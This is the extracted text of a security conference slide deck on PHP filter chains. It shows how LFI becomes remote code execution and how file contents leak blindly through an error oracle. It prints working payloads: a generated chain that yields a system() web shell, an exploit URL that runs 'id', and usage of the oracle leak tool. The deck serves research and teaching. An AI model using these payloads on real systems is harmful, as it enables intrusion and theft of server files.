PHP filter chains: How to use it

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## Roadmap PHP filter chains exploitation



- LFI HISTORY
- What is a LFI
- Filters chain purpose







BLIND FILE LEAK

- Presentation of the trick
- Presentation of the tool



#### LIMITS & USAGE

- Limits of the tricks
- Impacted scope
- Conclusion










#### **Remote Code Execution**

Load a resource to get code execution






#### Leak file content

Read local resources to get configuration file content, etc..

#### Path traversal

Escape application context to get information on other files stored on the file system





#### **DDOS**

Spam requests to load big files from the file system



Remote file inclusion:
Load a file from a remote host

Null byte:
Bypass appended path info

Path traversal:
Move up the file tree

File upload:
Upload your payload

php.ini option allow\_url\_include disabled by default


Patched since PHP 5.4

Patched since PHP 5.4


Not always available



Some LFI tricks



Filter chains purpose?



**SYNACKTIV** 



## Apply an infinite amount of filters to a file content! No file upload or access required What could go wrong?

#### **String filters**

- string.rot13
- String.toupper
- String.tolower
- String.strip\_tags

#### **Conversion filters**

- convert.base64-encode
- convert.base64-decode
- convert.quoted-printable-encode
- convert.quoted-printable-decode
- convert.iconv.\* (pentesters' favorite ♥)

#### **Compression Filters**

- zlib.deflate
- zlib.inflate
- bzip2.compress
- bzip2.decompress

#### Undocumented Filters

- consumed
- dechunk (HTTP chunked data)





PHP filter chain

\$ echo -n 'Hello PTS' > /tmp/test
\$ php -r 'echo file\_get\_contents("php://filter/convert.base64-encode|string.toupper|string.rot13|/resource=/tmp/test");'
FTIFOT8THSEG

https://carbon.now.sh

#### **String filters**

- string.rot13
- String.toupper
- String.tolower
- String.strip\_tags

#### **Conversion filters**

- convert.base64-encode
- convert.base64-decode
- convert.quoted-printable-encode
- convert.quoted-printable-decode
- convert.iconv.\* (pentesters' favorite)

#### **Compression Filters**

- zlib.deflate
- zlib.inflate
- bzip2.compress
- bzip2.decompress

#### Encryption Filters (deprecated)

- mcrypt.\*
- mdecrypt.\*





How useful PHP filter chains are actually?

```
PHP filter chain

$ echo -n 'Hello PTS' > /tmp/test

$ php -r 'echo file_get_contents("php://filter/convert.base64-encode|string.toupper|string.rot13|/resource=/tmp/test");'

FTIFOT8THSEG
```





## LFI TORCE





Nothing is lost, nothing is created, everything is transformed – Antoine Lavoisier

https://en.wikipedia.org/wiki/Antoine\_Lavoisier








Nothing is lost, nothing is created, everything is transformed – Amoine Lavoisier

https://en.wikipedia.org/wiki/Antoine\_Lavoisier



66

Everything is transformed, characters are created sometimes, some parts can be lost its ok.

- PHP encoding logic




https://commons.wikimedia.org/wiki/File:Webysther\_20160423\_-\_Elephpant.svg






Conversions filters such as convert.iconv.\* can be chained as will.







Using encodings to generate characters at the start of the file content.



Contracter "ZERO WIDTH NON-BREAKING SPACE" (0xFEFF), which is also known informally as


"BYTE ORDER MARK"

big-endian if the first two octets are 0xFE followed by 0xFF; if they are 0xFF followed by 0xFE the order is little-endian.



**Encoding our** way through

Using encodings to generate characters at the start of the file content.





	ISO/IEC 8859-10 (Latin-6) <sup>[3][4]</sup>															
	0	1	2	3	4	5	6	7	8	9	Α	В	С	D	Е	F
0x																
1x																
2x	SP	į.	"	#	\$	%	&		(	)	*	+	,	-		/
Зх	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?
4x	@	Α	В	С	D	Е	F	G	Н	I	J	K	L	М	N	0
5x	Р	Q	R	S	Т	U	V	W	Х	Υ	Z	[	\	]	^	_
6x	`	а	b	С	d	е	f	g	h	i	j	k	I	m	n	0
7x	р	q	r	S	t	u	V	W	х	У	z	{		}	~	
8x																
9x																
Ах	NBSP	<b>Ą</b> 0104	Ē 0112	<b>Ģ</b>	Ī 012A	Ĩ 0128	<b>K</b> 0136	§	<b>L</b> 013B	Ð 0110	Š 0160	Ŧ 0166	Ž 017D	SHY	Ū 016A	n 014/
Вх	0	<b>a</b> 0105	ē	<b>ģ</b> 0123	Ī 012B	Ĩ 0129	<b>ķ</b> 0137		013C	đ	Š 0161	<b>ŧ</b> 0167	<b>Ž</b> 017E	2015	Ū 016B	<b>n</b>
Сх	Ā	Á	Â	Ã	Ä	Å	Æ	012E	Č	É	Ę oris	Ë	Ė 0116	ĺ	î	Ϊ
Dx	Đ	<b>N</b> 0145	Ō 014C	Ó	Ô	Õ	Ö	Ũ 0168	Ø	<b>U</b>	Ú	Û	Ü	Ý	Þ	ß
Ex	ā 0101	á	â	ã	ä	å	æ	j 012F	Č	é	<b>e</b>	ë	ė 0117	í	î	ï
Fx	ð	<b>n</b> 0146	Ō 014D	ó	ô	õ	ö	<b>ũ</b>	Ø	<b>u</b> 0173	ú	û	ü	ý	þ	<b>K</b>

https://en.wikipedia.org/wiki/ISO/IEC\_8859-



Using encodings to generate characters at the start of the file content.





https://en.wikipedia.org/wiki/Latin\_script\_in\_Unicode





Usage via filter chain: 8 is prepended to the chain 'START'.

```
$ echo START > test
$ php -r 'echo file_get_contents("php://filter/convert.iconv.UTF8.UTF16/resource=test");'

@START
$ php -r 'echo file_get_contents("php://filter/convert.iconv.UTF8.UTF16|convert.iconv.L6.UTF8/resource=test");'

kpSTART
$ php -r 'echo file_get_contents("php://filter
/convert.iconv.UTF8.UTF16|convert.iconv.L6.UTF8|convert.iconv.UTF8.UTF16/resource=test");'

@@8@START
```





#### PHP has a rather unique way to handle base64.

And that is not the only thing it does differently

```
$php -r "echo base64_encode('base64');"
YmFzZTY0
$echo 'YmFzZTY0' | base64 -d
base64
$php -r "echo base64_decode('YmFzZTY0');"
base64
$echo '@_>YmFzZTY0' | base64 -d
base64: invalid input
$php -r "echo base64_decode('@_>YmFzZTY0');"
base64
$echo '@_>YmFzZTY0' > test.txt
$php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64
```







Padding can truncate the original string


Chaining it all together to get '8' prepended to the base64 encoded string 'START' + cleaning junk data.

```
$ echo START > test
$ php -r 'echo file_get_contents("php://filter/convert.base64-encode/resource=test");'
U1RBUlQK
$ php -r 'echo file_get_contents("php://filter/convert.base64-
encode|convert.iconv.UTF8.UTF16|convert.iconv.LATIN6.UTF16|convert.base64-decode|convert.base64-encode
/resource=test");'
8U1RBUlQ
```



\$ python3 php\_filter\_chain\_generator.py --chain 'Prepended' [+] The following gadget chain will generate the following code: Prepended (base64 value: UHJlcGVuZGVk) php://filter/convert.iconv.UTF8.CSIS02022KR|convert.base64encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.J0HAB|convert.base64decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.IS0-IR-90|convert.base64decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.J0HAB|convert.base64decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.IS0-IR-90|convert.base64decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859\_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.IS06937.SHIFT\_JISX0213|convert.base64decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp





include(\$\_GET[0]);

<?php

Chain generation



Exploitation

https://github.com/synacktiv/php\_filter\_chain\_generator



\$ python3 php\_filter\_chain\_generator.py --chain '<?php var\_dump(system(\$\_GET[1])); ?>'
[+] The following gadget chain will generate the following code : <?php var\_dump(system(\$\_GET[1])); ?>
(base64 value: PD9waHAgdmFyX2R1bXAoc3lzdGVtKCRfR0VUWzFdKSk7ID8+)
php://filter/convert.iconv.UTF8.CSIS02022KR|convert.base64encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|
[...]|convert.base64-decode/resource=php://temp

http://127.0.0.1/?1=echo%20×

+





🔌 view-source:http://127.0.0.1/?1=echo "Hello PASS THE SALT :) \\n"; id&0=php://filter/convert.iconv.UTF8. ◯ ☆





Junk data appended, so close PHP tags in payloads: ?>



\$ python3 php\_filter\_chain\_generator.py --chain '<?php var\_dump(system(\$\_GET[1])); ?>'
[+] The following gadget chain will generate the following code : <?php var\_dump(system(\$\_GET[1])); ?>
(base64 value: PD9waHAgdmFyX2R1bXAoc3lzdGVtKCRfR0VUWzFdKSk7ID8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|
[...]|convert.base64-decode/resource=php://temp

http://127.0.0.1/?1=echo%20×



🍇 view-source:http://127.0.0.1/?1=echo "Hello PASS THE SALT :) \\n"; id&0=php://filter/convert.iconv.UTF8.ℂ☆



# BLIND FILE LEAK

Blind oracle Logic



#### Max size overflow

Chaining filters to overflow the maximum readable file size.

#### First character leak

Using a peticular filter to blindly guess the first character value.

#### Character rotate

Rotate file characters to retrieve all its content.



Max size overflow




#### Max size overflow

Chaining filters to overflow the maximum readable file size.






Max size overflow





UCS-4LE is encoded in 4 octets





Max size overflow







First character leak



#### First character leak

Using a peticular filter to blindly guess the first character value.



First character leak: dechunk filter

When using chunked transfer encoding, each chunk is preceded by its size in bytes
It has to be an hexadecimal value

5\r\n (chunk length)
Chunk\r\n (chunk data)
f\r\n (chunk length)
PHPfiltersrock!\r\n (chunk data)

https://en.wikipedia.org/wiki/Chunked\_transfer\_encoding




dechunk filter will return an empty result if the first character is hexadecimal


```
$ echo -n 'bTART' > test
$ php -r 'echo file_get_contents("php://filter/dechunk|convert.iconv.UTF8.UCS-4|[...]|convert.iconv.UTF8.UCS-4/resource=/tmp/test");'
[NO RESULT]
$ echo -n 'START' > test
$ php -r 'echo file_get_contents("php://filter/dechunk|convert.iconv.UTF8.UCS-4|[...]|convert.iconv.UTF8.UCS-4/resource=/tmp/test");'
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 83886080 bytes) in Command line code on line 1
```



## The CP930 codec defines each ASCII hexadecimal value with an offset of 1



First character leak: Using dechunk as an oracle



#### ASCII Codec

	х0	х1	x2	х3	х4	х5	х6	х7	х8	[]	xf
[]			No	οv	erfl	ow					
6х	,	a	b		d	е	f	g	h	[]	0
[]											

#### CP930 Codec


	x0	х1	<b>x2</b>	хЗ	х4	х5	х6	<b>x7</b>	х8	[]	хf
[]											
6x	-	/	a	b	С	d	e	f	g	[]	?




= CP930 conversion


First character leak: leak the char 'd'

**KTIV** 



\$i: number of CP930 conversion \$char: first char of a file





/tmp/test

\$i=1

\$char=e


/tmp/test




### BLIND FILE LEAK

First character leak: leak the char 'd'

**KTIV** 




\$i: number of CP930 conversion \$char: first char of a file






First character leak: leak the char 'd'



\$i: number of CP930 conversion \$char: first char of a file





/tmp/test


\$i=2

\$i=2


\$char=f



First character leak: leak the char 'd'




\$i: number of CP930 conversion \$char: first char of a file








First character leak: leak the char 'd'



\$i: number of CP930 conversion \$char: first char of a file





/tmp/test

\$i=3

\$i=3


\$char=g

/tmp/test




# BLIND FILE LEAK

First character leak: leak the char 'd'



\$i: number of CP930 conversion \$char: first char of a file









# BLIND FILE LEAK

First character leak: leak the char 'd'



\$i: number of CP930 conversion \$char: first char of a file







### BLIND FILE LEAK

First character leak: Using dechunk as an oracle

# > First letter of /tmp/test is leaked

```
$ echo -n 'bSTART' > /tmp/test
$ php example.php
IBM-930 conversions : 1, the first character is ?
IBM-930 conversions : 2, the first character is e
IBM-930 conversions : 3, the first character is d
IBM-930 conversions : 4, the first character is c
IBM-930 conversions : 5, the first character is b
Fatal error: Allowed memory size of 134217728 bytes exhausted
(tried to allocate 130023424 bytes) in /tmp/example.php on line 13
$ echo -n 'dSTART' > /tmp/test
$ php example.php
IBM-930 conversions : 1, the first character is ?
IBM-930 conversions : 2, the first character is e
IBM-930 conversions : 3, the first character is d'
Fatal error: Allowed memory size of 134217728 bytes exhausted
(tried to allocate 90177536 bytes) in /tmp/example.php on line 13
$ echo -n 'START' > /tmp/test
$ php example.php
IBM-930 conversions : 1, the first character is ?
Fatal error: Allowed memory size of 134217728 bytes exhausted
(tried to allocate 125829120 bytes) in /tmp/example.php on line 13
```



**Character rotate** 



#### Character rotate

Rotate file characters to retrieve all its content.






# BLIND FILE LEAK

**Character rotate** 



UTF16 BOM can be used as dummy data to rotate characters of the chain





Public project: php\_filter\_chains\_oracle\_exploit


```
https://github.com/synacktiv/php_filter_chains_oracle_exploit
$ python3 filters_chain_oracle_exploit.py --help
usage: filters_chain_oracle_exploit.py [-h] --target TARGET --file FILE --parameter PARAMETER [--data DATA] [--headers HEADERS]
[--verb VERB] [--proxy PROXY] [--in_chain IN_CHAIN]
                                      [--time_based_attack TIME_BASED_ATTACK] [--delay DELAY]
       Oracle error based file leaker based on PHP filters.
       Author of the tool : @_remsio_
       Trick firstly discovered by : @hash_kitten
        $ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0
        [*] The following URL is targeted : http://127.0.0.1
        [*] The following local file is leaked: /test
        [*] Running POST requests
       [+] File /test leak is finished!
       b'SGVsbG8gZnJvbSBTeW5hY2t0aXYncyBibG9ncG9zdCEK'
       b"Hello from Synacktiv's blogpost!\n"
optional arguments:
                       show this help message and exit
  -h, --help
  --target TARGET
                       URL on which you want to run the exploit.
                       Path to the file you want to leak.
  --file FILE
  --parameter PARAMETER
                       Parameter to exploit.
                       Additionnal data that might be required. (ex : {"string":"value"})
  --data DATA
                       Headers used by the request. (ex: {"Authorization": "Bearer [TOKEN]"})
  --headers HEADERS
                       HTTP verb to use POST(default), GET(~ 135 chars by default), PUT, DELETE
  --verb VERB
                       Proxy you would like to use to run the exploit. (ex: http://127.0.0.1:8080)
  --proxy PROXY
                       Useful to bypass weak strpos configurations, adds the string in the chain. (ex: KEYWORD)
  --in_chain IN_CHAIN
  --time_based_attack TIME_BASED_ATTACK
                       Exploits the oracle as a time base attack, can be improved. (ex : True)
                       Set the delay in second between each request. (ex: 1, 0.1)
  --delay DELAY
```



https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit

```
<!php
shal_file($_POST[0]);</pre>
```





# LIMITS & USAGE

URL parameters max length is usualy 8K characters ~ 135 characters leaked via error based oracle Filter chains can quickly get huge, triggering 414 errors.

	414 Request-URI Too Long	× +
<b>←</b>	→ G	127.0.0.1/?1=id&0=php://filter/convert.iconv.UTF8.CSISO2022KR convert.base64-encode convert.iconv.UTF8.UTF7
Request-URI Too Long		
The requested URL's length exceeds the capacity limit for this server.		
Apac	Apache/2.4.54 (Debian) Server at 172.17.0.2 Port 80	





Exploitable scope smaller than phar:// wrapper

Wrapper Summary (for php://filter, refer to the summary of the wrapper being filtered)			
Attribute	Supported		
Restricted by <u>allow_url_fopen</u>	No		
Restricted by <u>allow_url_include</u>	php://input,php://stdin,php://memory and php://temp only.		
Allows Reading	php://stdin,php://input,php://fd,php://memory and php://temp only.		
Allows Writing	php://stdout, php://stderr, php://output, php://fd, php://memory and php://temp only.		
Allows Appending	php://stdout, php://stderr, php://output, php://fd, php://memory and php://temp only. (Equivalent to writing)		
Allows Simultaneous Reading and Writing	php://fd,php://memory and php://temp only.		
Supports <u>stat()</u>	No. However, php://memory and php://temp support <u>fstat()</u> .		
Supports <u>unlink()</u>	No		
Supports <u>rename()</u>	No		
Supports mkdir()	No		
Supports <u>rmdir()</u>	No		
Supports stream_select()	php://stdin, php://stdout, php://stderr, php://fd and php://temp only.		

https://www.php.net/manual/en/wrappers.php.php





# LIMITS & USAGE

**Exploitable functions** 

#### LFI TO RCE

- include
- include\_once
- require
- require\_once

#### Blind File Leak

- file\_get\_contents
- readfile
- finfo->file
- getimagesize
- md5\_file
- sha1\_file
- file
- fgetcsv
- parse\_ini\_file
- copy
- file\_put\_contents
- include
- include\_once
- require
- require\_once

#### fopen functions

- stream\_get\_contents
- fgets
- fread
- fgetc
- fpassthru



# CONCLUSION

#### How useful PHP filter chains are actually?



Really unlikely, the trick can still be useful for CTF or to bypass steps on certifications

#### Blind Oracle

The trick targets unexpected functions, this kind of vulnerability is still unknown publicly and identified on public projects




#### No write required

Both tricks does not require to be able to upload or write data on the server



#### Prerequisites to exploit

GET verb is not viable for leaking large files



#### Phar was already there..

Vulnerable public projects already suffered from phar unserialization

Go find CVEs :)













Filter chains blind oracle



Filter chains

generator

https://github.com/synacktiv/php\_filter\_chain\_generator

https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit



Breaking your own payload



Even if some chains seem valid in a first place, you can destroy the integrity of the generated string

CSISO2022KR and EBCDIC are bad for the trick



